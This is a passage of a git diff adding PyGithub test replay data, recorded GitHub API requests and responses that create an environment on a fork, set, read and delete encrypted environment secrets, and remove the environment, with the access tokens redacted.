('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E055:2715:10CF325:22EA372:655F7C86')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/secret_name +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0c810bc251f69f09fdf39536ad96d9adcb69ab9f77532320ec70c42f3d40b20c"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4847'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '153'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E056:3EC2:10F0192:232A152:655F7C86')] +{"name":"SECRET_NAME","created_at":"2023-11-23T16:23:35Z","updated_at":"2023-11-23T16:23:35Z"} + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/secret_name +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:35 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4846'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '154'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E057:0C70:109D3B0:228987E:655F7C87')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:35 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4845'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '155'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E058:4650:11211BD:238C8AA:655F7C87')] diff --git a/tests/ReplayData/Environment.testEnvironmentSecrets.txt b/tests/ReplayData/Environment.testEnvironmentSecrets.txt new file mode 100644 index 0000000000..804fd8199f --- /dev/null +++ b/tests/ReplayData/Environment.testEnvironmentSecrets.txt @@ -0,0 +1,119 @@ +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4841'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '159'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E05D:0C70:109DE9D:228AF20:655F7C8E')] +{"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"170ee1c3a1c93b2c97dd0f0dc821fe4ce5f2080039979210ce9b9e1a36a49273"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4840'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '160'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E05E:0B40:105283B:21F4A93:655F7C8E')] +{"id":1725665811,"node_id":"EN_kwDOKoE_5s5m25IT","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T16:23:43Z","updated_at":"2023-11-23T16:23:43Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/public-key +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3313fa24bc2d9935629d4340d3d7792786af1326b3ca816f428e28c75e8051ff"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4839'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '161'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E05F:1193:1031324:21AB374:655F7C8F')] +{"key_id":"568250167242549743","key":"4/qLofvCiuC34s/NxnkBq9uy1rD9PVl1bx3b84cuIUg="} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_ONE +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4838'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '162'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E060:1193:1031373:21AB410:655F7C8F')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/public-key +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, 